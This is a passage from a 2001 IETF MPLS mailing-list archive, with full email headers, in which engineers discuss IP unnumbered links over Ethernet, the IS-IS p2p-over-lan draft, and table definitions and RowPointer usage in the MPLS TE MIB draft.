-> http://www.ietf.org/internet-drafts/draft-ietf-isis-igp-p2p-o
-> ver-lan-00.txt
-> 
-> thanks.
-> 
->  ]  If IP is running on any L2 P2P technology doesn't need a unique
->  ]  identity for each interface (but traditional IP still carries).
->  ]  More over there are no problems w.r.t PPP, ATM etc. IP 
-> unnumbered 
->  ]  has been working for years, but in MPLS TE case the 
-> unique identity 
->  ]  for links in the topology still has some ambiguous grammar!
->  ]
->  ]--Venkata Naidu
->  ]
-> 
-> - Naiming
-> 


From owner-mpls@UU.NET  Wed Oct 24 18:26:47 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA15548
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 18:26:47 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmej15656;
	Wed, 24 Oct 2001 22:27:10 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmej09994
	for mpls-outgoing; Wed, 24 Oct 2001 22:26:24 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmej09989
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 22:26:16 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmej06423
	for <mpls@UU.NET>; Wed, 24 Oct 2001 22:25:56 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmej09646
	for <mpls@UU.NET>; Wed, 24 Oct 2001 22:26:14 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA27584;
	Wed, 24 Oct 2001 18:25:53 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA07664;
	Wed, 24 Oct 2001 18:25:53 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHLBZ3N>; Wed, 24 Oct 2001 18:25:53 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5554C93B@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'Naiming Shen'" <naiming@redback.com>
Cc: "'Eric Gray'" <eric.gray@sandburst.com>, mpls@UU.NET
Subject: RE: Questions on unnumbered links 
Date: Wed, 24 Oct 2001 18:25:43 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

->  ]  Unnumbered Links doesn't make any sense to Ethernet 
-> (broadcast media).
-> 
-> Just a simple comment on this, unnumbered interface can also 
-> be applied
-> to broadcast media such as Ethernet if using the IGP extension of
-> p2p-over-lan. for detail please check out:
-> 
-> http://www.ietf.org/internet-drafts/draft-ietf-isis-igp-p2p-o
-> ver-lan-00.txt

  To clarify, what I meant is strictly w.r.t RFC 1812 section 2.2.7.
  This is nothing to do with extending the notion to broadcast
  nets. In any case, here is my lemma, if you are able to extend 
  the unnumbered concept to broadcast nets, then you are almost
  redefining IP addressing. The notion of nexthop and/or L2 address
  binding will completely change. Am I right?

--Venkata Naidu


From owner-mpls@UU.NET  Wed Oct 24 22:18:22 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA20941
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 22:18:22 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmez14792;
	Thu, 25 Oct 2001 02:18:15 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmez15354
	for mpls-outgoing; Thu, 25 Oct 2001 02:17:55 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmez15337
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 02:17:22 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmez17449
	for <mpls@UU.NET>; Thu, 25 Oct 2001 02:15:18 GMT
Received: from prattle.redback.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: prattle.redback.com [155.53.12.9])
	id QQlmez29610
	for <mpls@UU.NET>; Thu, 25 Oct 2001 02:15:36 GMT
Received: from redback.com (yoo-hoo.redback.com [155.53.12.43])
	by prattle.redback.com (Postfix) with ESMTP
	id 8C13DF2C41; Wed, 24 Oct 2001 19:15:16 -0700 (PDT)
To: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
Cc: "'Eric Gray'" <eric.gray@sandburst.com>, mpls@UU.NET
Subject: Re: Questions on unnumbered links 
In-reply-to: Mail from "Naidu, Venkata" <Venkata.Naidu@Marconi.com> 
 dated Wed, 24 Oct 2001 18:07:28 EDT
 <39469E08BD83D411A3D900204840EC5554C93A@vie-msgusr-01.dc.fore.com> 
Date: Wed, 24 Oct 2001 19:15:16 -0700
From: Naiming Shen <naiming@redback.com>
Message-Id: <20011025021516.8C13DF2C41@prattle.redback.com>
Sender: owner-mpls@UU.NET
Precedence: bulk


Venkata,

 ]Naiming:
 ]
 ]  This is another part of the story. I did look at the below
 ]  mentioned draft. I am totally unconvinced about the proposal
 ]  (especially section 4.4). Please clarify some of my comments:
 ]
 ]  * Draft limited to only 2 routers in the LAN for convenient
 ]    simulation of P2P network. The question here is nothing to
 ]    do with "Routing Protocols", but about "IP Forwarding".
 ]    Just with static routing, I should be able to forward 
 ]    packets to any of the local/remote hosts/routers reachable
 ]    through *that* interface.

yes, you can setup static routes through this interface for traffic
switching. just no one on the router knows this is a p2p interface,
and no one needs to know this info. if the configuration portion checks
only p2p can be unnumbered, yes, it needs to be told this interface
is ok to configure unnumbered by force it to be a p2p.

 ]
 ]  * Section 4.4:
 ]    Option 1: So routers send all the *data" (even destined to 
 ]              local hosts) to the other router in the LAN?

No. a simple topology:

   +-------+         +-------+    router A and B
   |   A   |a       b|   B   |    a and b are on the LAN
   |       +---------+       |    x is A's loopback addr, y is B's loopback
   |   x   |         |   y   |
   +-------+         +-------+

this option is saying to configure statically the binding of y and MAC
address of b on router A.

 ]
 ]    Option 2: Initial part of section says...
 ]         ...
 ] 	   For example, if link-state IGP is not
 ]	   configured over this p2p-over-lan link, 
 ]         ...

well, this is only one reason to use one of the four options mentioned.
not trying to say all those examples should match all the options.

 ]         
 ]       2. MAC address gleaning. If a dynamic routing protocol is running
 ]          between the routers connected to the link, the MAC address of
 ]          the remote device can be taken from a data-link frame carrying
 ]          a packet of the corresponding routing protocol.    
 ]
 ]    Even If I assume a dynamic routing protocol between routers,
 ]    (which is contradictory to previous statement)

same as the above comment.

 ]     will it be
 ]    OK to sneak into all the data-link frames? I think it is not
 ]    a good idea to find data-link addresses from uninitiated ways.

assume the ISIS is runing on the p2p-over-lan interface, the hello packets
received HAS the other side's MAC address, its just a matter of communicating
this MAC to the ARP module explicitly from ISIS module, instead of
the option 1 to statically do the binding.

 ]
 ]    Option 3: For example, let us consider multiple routers are 
 ]              interconnected to multiple Ethernets.
 ]
 ]           -------------------
 ]              |         | 
 ]             (A)       (B)
 ]              |         |
 ]           -------------------
 ]                     
 ]    In the above scenario, Can A advertise same IP address to all
 ]    the interfaces? Can you please explain how can you forward packets 
 ]    if a router has multiple unnumbered links to a broadcast network?

first of all, A does not have to unnumber to the same IP address for
both LANs, that's very simple. even if A wants to use the same address
for both LANs, B just needs to store two diff MACs for A's loopback, and
do load sharing between them, or even force both LANs to use the same
MAC to be load shared. this is not much different than the MLPPP or
ether-channel cases.

 ]
 ]    Option 4: Can you please describe what are the other Broadcast or
 ]              Multicast resolution mechanisms available?

this is basically for completeness. but if you do want to implement this,
then there is nothing wrong to have a knob under this interface, and
saying "using link broadcast for everything", upon receiving this
kind of packet, don't drop just base on its a link broadcast packet,
forward it anyway if you can.

 ]
 ]    Finally, draft reads...
 ]
 ]		Note, however, that use of the IP unnumbered
 ]		option for point-to-point LAN links inherits the same 
 ]            problems as those present for serial links, i.e., not 
 ]            being able to ping or monitor a specific interface 
 ]            between routers.
 ]
 ]    Can you please explain why can't we able to ping/monitor a 
 ]    specific unnumbered interface between routers? What is 
 ]    preventing in present IP unnumbered case?

Hmm? how can you ping an unnumbered interface of a remote router
multiple hops away? how can you be sure which path it took to reach
the router if it has more than one interface connected?

 ]
 ]    In any case, TE/QoS on broadcast networks (shared media) is not 
 ]    clearly defined. Will you agree? :)

agreed. this extension does not pretend to solve the QoS problem on the LAN
just because we call it a p2p interface:-) but if we know there is only
two routers on the LAN(not in vLAN case), which is the requirement of
p2p-over-lan, then i don't see any problem here.

i accidentally lost your other message, i recall it was a question on
how does this extension meet the rfc1812 requirements. i haven't read
the rfc1812 yet, i can't comment on this. i don't think we should follow
rfcs word by word, i cannot imagine this is the only thing we are doing
not matching this rfc exactly.

thanks.

 ]
 ]--Venkata Naidu
 ]
 ]
 ]-> Venkata,
 ]-> 
 ]-> <...cut...>
 ]->  ]
 ]->  ]  Unnumbered Links doesn't make any sense to Ethernet 
 ]-> (broadcast media).
 ]-> 
 ]-> Just a simple comment on this, unnumbered interface can also 
 ]-> be applied
 ]-> to broadcast media such as Ethernet if using the IGP extension of
 ]-> p2p-over-lan. for detail please check out:
 ]-> 
 ]-> http://www.ietf.org/internet-drafts/draft-ietf-isis-igp-p2p-o
 ]-> ver-lan-00.txt
 ]-> 
 ]-> thanks.
 ]-> 
 ]->  ]  If IP is running on any L2 P2P technology doesn't need a unique
 ]->  ]  identity for each interface (but traditional IP still carries).
 ]->  ]  More over there are no problems w.r.t PPP, ATM etc. IP 
 ]-> unnumbered 
 ]->  ]  has been working for years, but in MPLS TE case the 
 ]-> unique identity 
 ]->  ]  for links in the topology still has some ambiguous grammar!
 ]->  ]
 ]->  ]--Venkata Naidu
 ]->  ]
 ]-> 
 ]-> - Naiming
 ]-> 

- Naiming


From owner-mpls@UU.NET  Thu Oct 25 00:33:54 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA24194
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 00:33:53 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmfi17160;
	Thu, 25 Oct 2001 04:34:16 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmfi04867
	for mpls-outgoing; Thu, 25 Oct 2001 04:33:37 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmfi04862
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 04:33:29 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmfi22264
	for <mpls@UU.NET>; Thu, 25 Oct 2001 04:33:01 GMT
Received: from multitech.co.in by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.39.98])
	id QQlmfi27320
	for <mpls@UU.NET>; Thu, 25 Oct 2001 04:32:49 GMT
Received: from abhay (abhay [192.168.1.136])
	by multitech.co.in (8.11.0/8.11.0) with SMTP id f9P4Vus05385;
	Thu, 25 Oct 2001 10:01:57 +0530
Message-ID: <001601c15d0e$f09b00e0$dff2fea9@abhay>
From: "abhay" <abhay@multitech.co.in>
To: "Ashwin C. Prabhu" <Ashwinp@in.huawei.com>, <mpls-ops@mplsrc.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
Cc: <cheenu@alphion.com>, <tnadeau@cisco.com>, <arun@force10networks.com>
References: <751B6DD7A243D511AB9F0002557C56870154531F@HUAWEIMAIL>
Subject: Re: Why do we need CR-LDP Tunnel Resource Table in TE MIB 7?
Date: Thu, 25 Oct 2001 10:08:44 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0013_01C15D3D.07A497A0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0013_01C15D3D.07A497A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

RE: Doubt in draft-ietf-mpls-te-mib-07.txtAshwin,
           Sometime ago the CR-LDP sentence in the MIB was not present =
for resource allocation.
           And during those times,I used my own MIB variables,just to =
have a little fun and give CR-LDP
           a fair chance.Now u see it,later u wont...again..any =
extensions to CR-LDP,you will see it again.
           In good humour.
           Regards,
           Abhay
  ----- Original Message -----=20
  From: Ashwin C. Prabhu=20
  To: mpls-ops@mplsrc.com ; 'mpls@uu.net'=20
  Cc: cheenu@alphion.com ; tnadeau@cisco.com ; arun@force10networks.com=20
  Sent: Wednesday, October 24, 2001 3:43 PM
  Subject: Why do we need CR-LDP Tunnel Resource Table in TE MIB 7?



  Hello All
  =20
   Why the CR-LDP Tunnel Resource Table is added in the =
draft-ietf-mpls-te-mib-07.txt.=20
   There is also a mplsTunnelResourceTable which has all the parameters=20
   of the mplsTunnelCRLDPResTable.=20
  =20
   And the note specifically says that this is in addition to the Tunnel =
Resource Table .=20
  =20
  The mplsTunnelCRLDPResTable allows a manager to
            specify which CR-LDP-specific resources are desired
            for an MPLS tunnel if that tunnel is signaled using
            CR-LDP. Note that these attributes are in addition
            to those specified in mplsTunnelResourceTable. This
            table also allows several tunnels to point to a
            single entry in this table, implying that these
            tunnels should share resources.
  =20
  And the parameters of the table are same expect the =
mplsTunnelCRLDPResFlags.
  Can you please tell me what is the differance between these 2 tables =
and why is this=20
  needed ?
  =20
  =20
  Ashwin
  =20
  =20
  =20
  =20

------=_NextPart_000_0013_01C15D3D.07A497A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>RE: Doubt in draft-ietf-mpls-te-mib-07.txt</TITLE>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Ashwin,</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Sometime ago=20
the CR-LDP sentence in the MIB was not present for resource=20
allocation.</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
And during=20
those times,I used my own MIB variables,just to have a little fun and =
give=20
CR-LDP</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;a fair=20
chance.Now u see it,later u wont...again..any extensions to CR-LDP,you =
will see=20
it again.</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; In =
good=20
humour.</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Regards,</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;Abhay</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:Ashwinp@in.huawei.com" =
title=3DAshwinp@in.huawei.com>Ashwin C.=20
  Prabhu</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
href=3D"mailto:mpls-ops@mplsrc.com"=20
  title=3Dmpls-ops@mplsrc.com>mpls-ops@mplsrc.com</A> ; <A=20
  href=3D"mailto:'mpls@uu.net'" title=3Dmpls@UU.NET>'mpls@uu.net'</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A =
href=3D"mailto:cheenu@alphion.com"=20
  title=3Dcheenu@alphion.com>cheenu@alphion.com</A> ; <A=20
  href=3D"mailto:tnadeau@cisco.com" =
title=3Dtnadeau@cisco.com>tnadeau@cisco.com</A>=20
  ; <A href=3D"mailto:arun@force10networks.com"=20
  title=3Darun@force10networks.com>arun@force10networks.com</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Wednesday, October 24, =
2001 3:43=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Why do we need CR-LDP =
Tunnel=20
  Resource Table in TE MIB 7?</DIV>
  <DIV><BR></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001>Hello All</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001>&nbsp;Why the CR-LDP Tunnel Resource Table =
is added=20
  in the draft-ietf-mpls-te-mib-07.txt. </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001>&nbsp;There is also a =
mplsTunnelResourceTable which=20
  has all the parameters </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001>&nbsp;of the mplsTunnelCRLDPResTable.=20
  </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001>&nbsp;And the note specifically says that =
this is in=20
  addition to the Tunnel Resource Table . </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#ff00ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001><STRONG>The mplsTunnelCRLDPResTable allows =
a manager=20
  to<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; specify =
which=20
  CR-LDP-specific resources are=20
  desired<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for =
an MPLS=20
  tunnel if that tunnel is signaled=20
  using<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
CR-LDP. <FONT=20
  color=3D#0000ff>Note that these attributes are in=20
  addition<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to =
those=20
  specified in mplsTunnelResourceTable.=20
  </FONT>This<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
table=20
  also allows several tunnels to point to=20
  a<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; single =
entry in=20
  this table, implying that=20
  these<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
tunnels should=20
  share resources.</STRONG></SPAN></FONT></DIV>
  <DIV><FONT color=3D#ff00ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D607103022-24102001>And=20
  the parameters of the table are same expect the <SPAN=20
  style=3D"FONT-FAMILY: 'Times New Roman'; FONT-SIZE: 12pt; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">mplsTunnelCRLDPResFlags.</SPAN></SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D607103022-24102001>Can=20
  you please tell me what is the differance between these 2 tables and =
why is=20
  this </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001>needed ?</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001>Ashwin</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#ff00ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#ff00ff face=3DArial size=3D2><SPAN=20
  class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#ff00ff face=3DArial size=3D2><SPAN=20
  =
class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV></BLOCKQUOTE></BODY>=
</HTML>

------=_NextPart_000_0013_01C15D3D.07A497A0--



From owner-mpls@UU.NET  Thu Oct 25 00:48:55 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA24355
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 00:48:55 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmfj28366;
	Thu, 25 Oct 2001 04:49:17 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmfj06241
	for mpls-outgoing; Thu, 25 Oct 2001 04:48:36 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmfj06236
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 04:48:31 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmfj02095
	for <mpls@UU.NET>; Thu, 25 Oct 2001 04:45:52 GMT
Received: from wiprom2mx1.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQlmfj05792
	for <mpls@UU.NET>; Thu, 25 Oct 2001 04:46:10 GMT
Received: from m2vwall3.wipro.com (m2vwall3.wipro.com [164.164.29.237])
	by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id f9P4jrl25264
	for <mpls@UU.NET>; Thu, 25 Oct 2001 10:15:53 +0530 (IST)
Received: from 192.168.2.18 by m2vwall3.wipro.com (InterScan E-Mail VirusWall NT); Thu, 25 Oct 2001 10:15:39 +0530
Received: from venkatp ([192.168.220.162]) by
          sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GLQVW600.0J0; Thu, 25 Oct 2001 10:15:42 +0530 
Message-ID: <00b201c15d11$cac4b200$a2dca8c0@alc.wipinfo.soft.net>
From: "Venkata Prasad Piriya" <venkata.piriya@wipro.com>
To: <mpls@UU.NET>
Cc: "Shashi" <shashidhar.patil@wipro.com>, "Arun  R" <arun.ram@wipro.com>
References: <751B6DD7A243D511AB9F0002557C5687014BE35A@HUAWEIMAIL>
Subject: Regarding RowPionter varaible in mplsTunnelTable
Date: Thu, 25 Oct 2001 10:29:13 +0530
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="------------InterScan_NT_MIME_Boundary"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

--------------InterScan_NT_MIME_Boundary
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00AE_01C15D3F.E430A2C0"

------=_NextPart_000_00AE_01C15D3F.E430A2C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

RE: Doubt in draft-ietf-mpls-te-mib-07.txtHello All

In mplsTunnelEntry it is defined that the columnar object mplsTunnelResourcePointer as RowPointer. 
There is some confusion between definition of RowPointer and Example mentioned in the draft-ietf-mpls-te-mib-07.txt 
section  8.
In draft it was assign mplsTunnelResorceIndex.5.

Following same as draft:
mplsTunnelResourcePointer = mplsTunnelResourceIndex.5,

As per SNMPV2_TC the row pointer as defined as follows:

 RowPointer ::= TEXTUAL-CONVENTION
 STATUS       current
 DESCRIPTION
 "Represents a pointer to a conceptual row.  The value is the
 name of the instance of the first accessible columnar object
 in the conceptual row.

 For example, ifIndex.3 would point to the 3rd row in the
 ifTable (note that if ifIndex were not-accessible, then
 ifDescr.3 would be used instead)."

As per RowPointer definition we can't assign a OID which is having permission not_accessible to RowPointer variable so it should be
mplsTunnelResourcePointer  = mplsResourceMaxRate.<Index> Here Index is mplsTunnelResourceIndex.

Please correct me if I am wrong.

Regards
Venkata Prasad P.



------=_NextPart_000_00AE_01C15D3F.E430A2C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>RE: Doubt in draft-ietf-mpls-te-mib-07.txt</TITLE>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#0000ff size=3D3>Hello All</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff>In mplsTunnelEntry it is defined that the =
columnar=20
object mplsTunnelResourcePointer as RowPointer. </FONT></DIV>
<DIV><FONT color=3D#0000ff>There is some confusion between </FONT><FONT=20
color=3D#0000ff>definition of RowPointer and Example mentioned in the=20
draft-ietf-mpls-te-mib-07.txt </FONT></DIV>
<DIV><FONT color=3D#0000ff>section  8.</FONT></DIV>
<DIV><FONT color=3D#0000ff>In draft it was assign=20
mplsTunnelResorceIndex.5.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff>Following same as draft:</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2>
<P><STRONG><FONT color=3D#0000ff face=3D"Times New =
Roman">mplsTunnelResourcePointer=20
=3D mplsTunnelResourceIndex.5,</FONT></STRONG></P></FONT></DIV>
<DIV><FONT color=3D#0000ff>As per SNMPV2_TC the row pointer as defined =
as=20
follows:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff size=3D3>&nbsp;<STRONG>RowPointer ::=3D=20
TEXTUAL-CONVENTION</STRONG></FONT></DIV>
<DIV><STRONG><FONT=20
color=3D#0000ff>&nbsp;STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
current</FONT></STRONG></DIV>
<DIV><STRONG><FONT =
